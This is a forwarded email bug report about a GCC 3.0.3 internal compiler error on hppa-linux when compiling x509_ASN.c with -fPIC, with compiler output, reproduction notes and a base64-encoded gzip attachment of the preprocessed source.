ignoring duplicate directory "."
#include "..." search starts here:
#include <...> search starts here:
 .
 ..
 /usr/local/include
 /usr/lib/gcc-lib/hppa-linux/3.0.3/include
 /usr/include
End of search list.
 /usr/lib/gcc-lib/hppa-linux/3.0.3/cc1 -fpreprocessed x509_ASN.i -mno-space-regs
 -quiet -dumpbase x509_ASN.c -O2 -version -fPIC -o x509_ASN.s
GNU CPP version 3.0.3 (cpplib) (hppa)
GNU C version 3.0.3 (hppa-linux)
        compiled by GNU C version 3.0.3.
/usr/share/misc/bison.simple: In function `yyparse':
/usr/share/misc/bison.simple:761: Insn does not satisfy its constraints:
(insn 7749 7746 59 (set (mem:SI (plus:SI (reg:SI 1 %r1)
                (reg/f:SI 3 %r3)) 272)
        (reg:SI 5 %r5)) 68 {*pa.md:2088} (nil)
    (nil))
/usr/share/misc/bison.simple:761: Internal compiler error in reload_cse_simplify
_operands, at reload1.c:8364
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.

The problem does not occur when compiling with -fno-gcse or without -fPIC.

>How-To-Repeat:
	.i for source with and without -fPIC attached. As described
above the problem only occurs with -fPIC ...

>Fix:
	unknown

-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/

----- End forwarded message -----

-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^

--W/nzBZO5zC0uMSeA
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="x509_ASN.pic.i.gz"
Content-Transfer-Encoding: base64

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
